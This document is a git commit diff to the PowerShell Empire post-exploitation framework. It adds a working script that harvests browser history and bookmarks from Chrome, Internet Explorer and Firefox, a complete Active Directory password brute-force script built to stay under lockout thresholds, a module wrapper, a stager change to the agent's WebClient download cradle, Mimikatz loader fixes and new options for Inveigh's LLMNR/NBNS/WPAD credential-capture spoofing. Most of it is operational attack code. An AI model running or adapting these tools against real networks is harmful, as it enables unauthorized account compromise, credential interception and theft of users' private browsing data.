Harmj0y 2016-07-15 18:06:49 -04:00
commit 75f3e2c410
21 changed files with 3353 additions and 1787 deletions

View File

@ -1,3 +1,30 @@
6/24/2016
---------
-Updated Invoke-Mimikatz to include a fix for multi-cpu boxes/processor detection
-Merged @n0clues pull request to change paths from %TEMP% to %PUBLIC% for spawnas module to fix a bug when spawning as a different user.
-Fixed a typo in the dcsync_hashdump that caused it to crash the Empire server
-Merged in Inveigh 1.1.1 and current Tater build thanks to @Kevin-Robertson
-Fixed a bug in the REST API due to the port being a string and not an int
-Added 417 Expectation failed error bug fix for older proxies (Squid) thanks to @i223t
6/9/2016
---------
-Updated SQLite dll for Get-ChromeDump.ps1
5/27/2016
---------
-Fixed format issues with Get-ComputerDetails.ps1
-More verbose output added to PowerUp's Invoke-ServiceCMD
-Made Get-SPN PowerShell 2.0 compatible
-Updated RunAs to include an argument parameter
-Merged @tristandostaler's /api/map feature to the Rest API
-Merged in @andrew-morris's installer update to include -Y switch for apt-get commands
-Merged in MS16-032 local privesc from @leoloobeek
5/4/2016
---------
-Merged @jaredhaight's Invoke-MetasploitModule module
5/2/2016 5/2/2016
--------- ---------
-tightened up argparse validation -tightened up argparse validation

View File

@ -0,0 +1,239 @@
function Get-BrowserInformation {
<#
.SYNOPSIS
Dumps Browser Information
Author: @424f424f
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Enumerates browser history or bookmarks for a Chrome, Internet Explorer,
and/or Firefox browsers on Windows machines.
.PARAMETER Browser
The type of browser to enumerate, 'Chrome', 'IE', 'Firefox' or 'All'
.PARAMETER Datatype
Type of data to enumerate, 'History' or 'Bookmarks'
.PARAMETER UserName
Specific username to search browser information for.
.PARAMETER Search
Term to search for
.EXAMPLE
PS C:\> Get-BrowserInformation
Enumerates browser information for all supported browsers for all current users.
.EXAMPLE
PS C:\> Get-BrowserInformation -Browser IE -Datatype Bookmarks -UserName user1
Enumerates bookmarks for Internet Explorer for the user 'user1'.
.EXAMPLE
PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName user1 -Search 'github'
Enumerates bookmarks for Internet Explorer for the user 'user1' and only returns
results matching the search term 'github'.
#>
[CmdletBinding()]
Param
(
[Parameter(Position = 0)]
[String[]]
[ValidateSet('Chrome','IE','FireFox', 'All')]
$Browser = 'All',
[Parameter(Position = 1)]
[String[]]
[ValidateSet('History','Bookmarks','All')]
$DataType = 'All',
[Parameter(Position = 2)]
[String]
$UserName = '',
[Parameter(Position = 3)]
[String]
$Search = ''
)
function ConvertFrom-Json20([object] $item){
#http://stackoverflow.com/a/29689642
Add-Type -AssemblyName System.Web.Extensions
$ps_js = New-Object System.Web.Script.Serialization.JavaScriptSerializer
return ,$ps_js.DeserializeObject($item)
}
function Get-ChromeHistory {
$Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"
if (-not (Test-Path -Path $Path)) {
Write-Verbose "[!] Could not find Chrome History for username: $UserName"
}
$Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$Value = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"|Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
$Value | ForEach-Object {
$Key = $_
if ($Key -match $Search){
New-Object -TypeName PSObject -Property @{
User = $UserName
Browser = 'Chrome'
DataType = 'History'
Data = $_
}
}
}
}
function Get-ChromeBookmarks {
$Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
if (-not (Test-Path -Path $Path)) {
Write-Verbose "[!] Could not find FireFox Bookmarks for username: $UserName"
} else {
$Json = Get-Content $Path
$Output = ConvertFrom-Json20($Json)
$Jsonobject = $Output.roots.bookmark_bar.children
$Jsonobject.url |Sort -Unique | ForEach-Object {
if ($_ -match $Search) {
New-Object -TypeName PSObject -Property @{
User = $UserName
Browser = 'Firefox'
DataType = 'Bookmark'
Data = $_
}
}
}
}
}
function Get-InternetExplorerHistory {
#https://crucialsecurityblog.harris.com/2011/03/14/typedurls-part-1/
$Null = New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS
$Paths = Get-ChildItem 'HKU:\' -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach($Path in $Paths) {
$User = ([System.Security.Principal.SecurityIdentifier] $Path.PSChildName).Translate( [System.Security.Principal.NTAccount]) | Select -ExpandProperty Value
$Path = $Path | Select-Object -ExpandProperty PSPath
$UserPath = "$Path\Software\Microsoft\Internet Explorer\TypedURLs"
if (-not (Test-Path -Path $UserPath)) {
Write-Verbose "[!] Could not find IE History for SID: $Path"
}
else {
Get-Item -Path $UserPath -ErrorAction SilentlyContinue | ForEach-Object {
$Key = $_
$Key.GetValueNames() | ForEach-Object {
$Value = $Key.GetValue($_)
if ($Value -match $Search) {
New-Object -TypeName PSObject -Property @{
User = $UserName
Browser = 'IE'
DataType = 'History'
Data = $Value
}
}
}
}
}
}
}
function Get-InternetExplorerBookmarks {
$URLs = Get-ChildItem -Path "$Env:systemdrive\Users\" -Filter "*.url" -Recurse -ErrorAction SilentlyContinue
ForEach ($URL in $URLs) {
if ($URL.FullName -match 'Favorites') {
$User = $URL.FullName.split('\')[2]
Get-Content -Path $URL.FullName | ForEach-Object {
try {
if ($_.StartsWith('URL')) {
# parse the .url body to extract the actual bookmark location
$URL = $_.Substring($_.IndexOf('=') + 1)
if($URL -match $Search) {
New-Object -TypeName PSObject -Property @{
User = $User
Browser = 'IE'
DataType = 'Bookmark'
Data = $URL
}
}
}
}
catch {
Write-Verbose "Error parsing url: $_"
}
}
}
}
}
function Get-FireFoxHistory {
$Path = "$Env:systemdrive\Users\$UserName\AppData\Roaming\Mozilla\Firefox\Profiles\"
if (-not (Test-Path -Path $Path)) {
Write-Verbose "[!] Could not find FireFox History for username: $UserName"
}
else {
$Profiles = Get-ChildItem -Path "$Path\*.default\" -ErrorAction SilentlyContinue
$Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$Value = Get-Content $Profiles\places.sqlite | Select-String -Pattern $Regex -AllMatches |Select-Object -ExpandProperty Matches |Sort -Unique
$Value.Value |ForEach-Object {
if ($_ -match $Search) {
ForEach-Object {
New-Object -TypeName PSObject -Property @{
User = $UserName
Browser = 'Firefox'
DataType = 'History'
Data = $_
}
}
}
}
}
}
if (!$UserName) {
$UserName = "$ENV:USERNAME"
}
if(($Browser -Contains 'All') -or ($Browser -Contains 'Chrome')) {
if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
Get-ChromeHistory
}
if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) {
Get-ChromeBookmarks
}
}
if(($Browser -Contains 'All') -or ($Browser -Contains 'IE')) {
if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
Get-InternetExplorerHistory
}
if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) {
Get-InternetExplorerBookmarks
}
}
if(($Browser -Contains 'All') -or ($Browser -Contains 'FireFox')) {
if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
Get-FireFoxHistory
}
}
}

8
data/module_source/collection/Get-ChromeDump.ps1 Normal file → Executable file

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -2586,8 +2586,25 @@ $RemoteScriptBlock = {
#Load the PE reflectively #Load the PE reflectively
Write-Verbose "Calling Invoke-MemoryLoadLibrary" Write-Verbose "Calling Invoke-MemoryLoadLibrary"
if (((Get-WmiObject -Class Win32_Processor).AddressWidth / 8) -ne [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) try
{ {
$Processors = Get-WmiObject -Class Win32_Processor
}
catch
{
throw ($_.Exception)
}
if ($Processors -is [array])
{
$Processor = $Processors[0]
} else {
$Processor = $Processors
}
if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) )
{
Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8))
Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop
} }
@ -2741,4 +2758,3 @@ $results = Main;
"Hostname: $HostName / $DomainSID"; "Hostname: $HostName / $DomainSID";
$results $results
} }

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -666,7 +666,7 @@ function Write-CMDServiceBinary {
try { try {
# write the binary array out to the specified path # write the binary array out to the specified path
Set-Content -Balue $Binary -Encoding Byte -Path $Path Set-Content -Value $Binary -Encoding Byte -Path $Path
"[*] Binary for service '$ServiceName' with custom command '$CMD' written to '$Path'" "[*] Binary for service '$ServiceName' with custom command '$CMD' written to '$Path'"
} }
catch { catch {

View File

@ -0,0 +1,270 @@
function Invoke-SMBAutoBrute
{
<#
.SYNOPSIS
Performs smart brute forcing of accounts against the current domain, ensuring that
lockouts do not occur.
Author: Jason Lang (@curi0usJack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.0
.DESCRIPTION
This script takes either a list of users or, if not specified, will query the domain
for a list of users on every brute attempt. The users queried will have a badPwdCount
attribute of two less than the LockoutThreshold to ensure they are not locked in the brute
attempt, with a new list being queried for every attempt. Designed to simply input the
LockoutThreshold as well as a password list and then run. Note that each DC is queried
for bad password count for each user for each brute, so this script is noisy.
.EXAMPLE
PS C:\> Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
[*] Performing prereq checks.
[*] PDC: LAB-2008-DC1.lab.com
[*] Passwords to test: jennifer, yankees, 123456
[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show...
[+] Success! Username: TestUser6. Password: jennifer
[+] Success! Username: TestUser99. Password: yankees
[*] Completed.
.PARAMETER UserList
A text file of userids (one per line) to brute. Do not append DOMAIN\ in front of the userid.
If this parameter is not specified, the script will retrieve a new list of user accounts for
each attempt to ensure accounts are not locked.
.PARAMETER PasswordList
A comma separated list of passwords to attempt.
.PARAMETER LockoutThreshold
The domain setting that specifies the number of bad login attempts before the account locks.
To discover this, open a command prompt from a domain joined machine and run "net accounts".
.PARAMETER Delay
The delay time (in milliseconds) between each brute attempt. Default 100.
.PARAMETER ShowVerbose
Will display Failed as well as Skipped attempts. Generates a ton of data.
.PARAMETER StopOnSuccess
The script will exit after the first successful authentication.
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $False)]
[String] $UserList,
[parameter(Mandatory = $True)]
[String] $PasswordList,
[parameter(Mandatory = $True)]
[String] $LockoutThreshold,
[parameter(Mandatory = $False)]
[int] $Delay,
[parameter(Mandatory = $False)]
[Switch] $ShowVerbose,
[parameter(Mandatory = $False)]
[Switch] $StopOnSuccess
)
Begin
{
Set-StrictMode -Version 2
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
Try {Add-Type -AssemblyName System.DirectoryServices}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
function Get-PDCe()
{
$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain","lab.com")
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($context)
return $domain.pdcRoleOwner
}
function Get-UserList($maxbadpwdcount)
{
$users = New-Object System.Collections.ArrayList
$counttouse = $maxbadpwdcount - 2 # We have to use <= in our LDAP query. Use - 2 attempts to ensure the accounts are not locked with this attempt.
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc"
$search = New-Object System.DirectoryServices.DirectorySearcher $de
$search.Filter = "(&(objectclass=user)(badPwdCount<=$counttouse)(!userAccountControl:1.2.840.113556.1.4.803:=2))" #UAC = enabled accounts only
$search.PageSize = 10
$foundusers = $search.FindAll()
if ($foundusers -ne $null)
{
foreach ($u in $foundusers)
{
$users.Add([string]$u.Properties['samaccountname']) | Out-Null
}
}
return $users
}
function Get-DomainControllers
{
$dcs = New-Object System.Collections.ArrayList
$filter = "(&(objectclass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc"
$search = New-Object System.DirectoryServices.DirectorySearcher $de
$search.Filter = $filter
$search.PropertiesToLoad.Add('CN') | Out-Null
$results = $search.FindAll()
foreach ($item in $results)
{
$dcs.Add($item.Properties['cn']) | Out-Null
}
$search = $null
$de.Dispose()
return $dcs
}
function Get-DCBadPwdCount($userid, $dc)
{
$count = -1
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$dc"
$search = New-Object System.DirectoryServices.DirectorySearcher $de
$search.Filter = "(&(objectclass=user)(samaccountname=$userid))"
$search.PropertiestoLoad.Add('badPwdCount') | Out-Null
$user = $search.FindOne()
if ($user -ne $null)
{
$count = $user.Properties['badpwdcount']
}
$search = $null
$de.Dispose()
return $count
}
function Get-UserBadPwdCount($userid, $dcs)
{
# The badPwdCount attribute is not replicated. Attempts should be reported back to the PDC,
# but here get the greatest count from amongst all the DCs to guard against replication errors.
$totalbadcount = -1
foreach ($dc in $dcs)
{
$badcount = Get-DCBadPwdCount $userid $dc
if ($badcount -gt $totalbadcount)
{
$totalbadcount = $badcount
}
}
return $totalbadcount
}
}
Process
{
$validaccounts = @{}
$userstotest = $null
"[*] Performing prereq checks.`n"
if ([String]::IsNullOrEmpty($UserList) -eq $false)
{
if ([System.IO.File]::Exists($UserList) -eq $false)
{
"[!] $UserList not found. Aborting.`n"
exit
}
else
{
$userstotest = Get-Content $UserList
}
}
$pdc = Get-PDCe
if ($pdc -eq $null)
{
"[!] Could not locate domain controller. Aborting.`n"
exit
}
"[*] PDC: $pdc`n"
"[*] Passwords to test: $PasswordList`n"
$dcs = Get-DomainControllers
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $pdc)
$pwds = New-Object System.Collections.ArrayList
foreach ($pwd in $PasswordList.Split(','))
{
$pwds.Add($pwd.Trim(' ')) | Out-Null
}
"[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show...`n"
foreach ($p in $pwds)
{
if ($userstotest -eq $null)
{
$userstotest = Get-UserList $LockoutThreshold
}
foreach ($u in $userstotest)
{
$userid = $u.Trim(' ').Trim([Environment]::Newline)
if ($validaccounts.ContainsKey($userid) -eq $false)
{
$attempts = Get-UserBadPwdCount $userid $dcs
if ($attempts -ne -1 -and $attempts -lt ($LockoutThreshold - 1))
{
$IsValid = $false
$IsValid = $PrincipalContext.ValidateCredentials($userid, $p).ToString()
if ($IsValid -eq $True)
{
"[+] Success! Username: $userid. Password: $p`n"
$validaccounts.Add($userid, $p)
if ($StopOnSuccess.IsPresent)
{
"[*] StopOnSuccess. Exit.`n"
exit
}
}
else
{
if ($ShowVerbose.IsPresent)
{
"[-] Failed. Username: $userid. Password: $p. BadPwdCount: $($attempts + 1)`n"
}
}
if ($Delay)
{
Start-Sleep -m $Delay
}
else
{
Start-Sleep -m 100
}
}
else
{
if ($ShowVerbose.IsPresent)
{
"[-] Skipped. Username: $userid. Password: $p. BadPwdCount: $attempts`n"
}
}
}
}
}
"[*] Completed.`n"
}
}

2
empire
View File

@ -1182,7 +1182,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
# wrap the Flask connection in SSL and start it # wrap the Flask connection in SSL and start it
context = ('./data/empire.pem', './data/empire.pem') context = ('./data/empire.pem', './data/empire.pem')
app.run(host='0.0.0.0', port=port, ssl_context=context, threaded=True) app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)

View File

@ -309,7 +309,8 @@ class Stagers:
# get the launching URI # get the launching URI
URI = self.generate_launcher_uri(server, encode, pivotServer, hop) URI = self.generate_launcher_uri(server, encode, pivotServer, hop)
stager = helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") stager = helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue = 0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
stager += "$u='"+userAgent+"';" stager += "$u='"+userAgent+"';"
if "https" in URI: if "https" in URI:

View File

@ -0,0 +1,102 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-BrowserData',
'Author': ['@424f424f'],
'Description': ('Search through browser history or bookmarks'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
''
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Browser' : {
'Description' : 'Which browser to dump data from. IE, Chrome, Firefox, All.',
'Required' : False,
'Value' : 'All'
},
'DataType' : {
'Description' : 'Specify to search history or bookmarks. History, Bookmarks.',
'Required' : False,
'Value' : 'All'
},
'UserName' : {
'Description' : 'Username on the host to search.',
'Required' : False,
'Value' : ''
},
'Search' : {
'Description' : 'Specific a term to search for.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-BrowserData.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = moduleCode
script += "\nGet-BrowserInformation "
# add any arguments to the end execution of the script
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -14,13 +14,13 @@ class Module:
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : True, 'NeedsAdmin' : True,
'OpsecSafe' : True, 'OpsecSafe' : True,
'MinPSVersion' : '2', 'MinPSVersion' : '2',
'Comments': [ 'Comments': [
'https://github.com/Kevin-Robertson/Inveigh' 'https://github.com/Kevin-Robertson/Inveigh'
] ]
@ -45,27 +45,27 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferHostsReply' : { 'SpooferHostsReply' : {
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.', 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferHostsIgnore' : { 'SpooferHostsIgnore' : {
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.', 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferIPsReply' : { 'SpooferIPsReply' : {
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.', 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferIPsIgnore' : { 'SpooferIPsIgnore' : {
'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.', 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferRepeat' : { 'SpooferRepeat' : {
'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
@ -75,7 +75,7 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'LLMNRTTL' : { 'LLMNRTTL' : {
'Description' : 'Custom LLMNR TTL in seconds for the response packet.', 'Description' : 'Custom LLMNR TTL in seconds for the response packet.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -85,7 +85,7 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'NBNSTTL' : { 'NBNSTTL' : {
'Description' : 'Custom NBNS TTL in seconds for the response packet.', 'Description' : 'Custom NBNS TTL in seconds for the response packet.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -100,37 +100,42 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'HTTPAuth' : { 'HTTPAuth' : {
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
'Required' : False, 'Required' : False,
'Value' : 'NTLM' 'Value' : 'NTLM'
}, },
'HTTPBasicRealm' : { 'HTTPBasicRealm' : {
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
'Required' : False, 'Required' : False,
'Value' : 'IIS' 'Value' : 'IIS'
}, },
'HTTPResponse' : { 'HTTPResponse' : {
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADAuth' : { 'WPADAuth' : {
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
'Required' : False, 'Required' : False,
'Value' : 'NTLM' 'Value' : 'NTLM'
}, },
'WPADIP' : { 'WPADEmptyFile' : {
'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'WPADIP' : {
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADPort' : { 'WPADPort' : {
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADDirectHosts' : { 'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -150,6 +155,16 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'N' 'Value' : 'N'
}, },
'ConsoleStatus' : {
'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)',
'Required' : False,
'Value' : ''
},
'ConsoleUnique' : {
'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
'Required' : False,
'Value' : 'Y'
},
'RunTime' : { 'RunTime' : {
'Description' : 'Run time duration in minutes.', 'Description' : 'Run time duration in minutes.',
'Required' : False, 'Required' : False,
@ -160,7 +175,7 @@ class Module:
# save off a copy of the mainMenu object to access external functionality # save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc. # like listeners/agent handlers/etc.
self.mainMenu = mainMenu self.mainMenu = mainMenu
for param in params: for param in params:
# parameter format is [Name, Value] # parameter format is [Name, Value]
option, value = param option, value = param
@ -169,7 +184,7 @@ class Module:
def generate(self): def generate(self):
# read in the common module source code # read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Inveigh.ps1" moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Inveigh.ps1"

View File

@ -16,13 +16,13 @@ class Module:
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : False, 'NeedsAdmin' : False,
'OpsecSafe' : True, 'OpsecSafe' : True,
'MinPSVersion' : '2', 'MinPSVersion' : '2',
'Comments': [ 'Comments': [
'https://github.com/Kevin-Robertson/Inveigh' 'https://github.com/Kevin-Robertson/Inveigh'
] ]
@ -42,12 +42,12 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferTarget' : { 'SpooferTarget' : {
'Description' : 'IP address to target for brute force NBNS spoofing.', 'Description' : 'IP address to target for brute force NBNS spoofing.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'Hostname' : { 'Hostname' : {
'Description' : 'Hostname to spoof with NBNS spoofing.', 'Description' : 'Hostname to spoof with NBNS spoofing.',
'Required' : False, 'Required' : False,
'Value' : 'WPAD' 'Value' : 'WPAD'
@ -57,12 +57,12 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'NBNSPause' : { 'NBNSPause' : {
'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.', 'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'NBNSTTL' : { 'NBNSTTL' : {
'Description' : 'Custom NBNS TTL in seconds for the response packet.', 'Description' : 'Custom NBNS TTL in seconds for the response packet.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -72,37 +72,37 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'HTTPAuth' : { 'HTTPAuth' : {
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
'Required' : False, 'Required' : False,
'Value' : 'NTLM' 'Value' : 'NTLM'
}, },
'HTTPBasicRealm' : { 'HTTPBasicRealm' : {
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
'Required' : False, 'Required' : False,
'Value' : 'IIS' 'Value' : 'IIS'
}, },
'HTTPResponse' : { 'HTTPResponse' : {
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADAuth' : { 'WPADAuth' : {
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
'Required' : False, 'Required' : False,
'Value' : 'NTLM' 'Value' : 'NTLM'
}, },
'WPADIP' : { 'WPADIP' : {
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADPort' : { 'WPADPort' : {
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADDirectHosts' : { 'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -117,7 +117,7 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'N' 'Value' : 'N'
}, },
'RunCount' : { 'RunCount' : {
'Description' : 'Number of captures to perform before auto-exiting.', 'Description' : 'Number of captures to perform before auto-exiting.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -132,7 +132,7 @@ class Module:
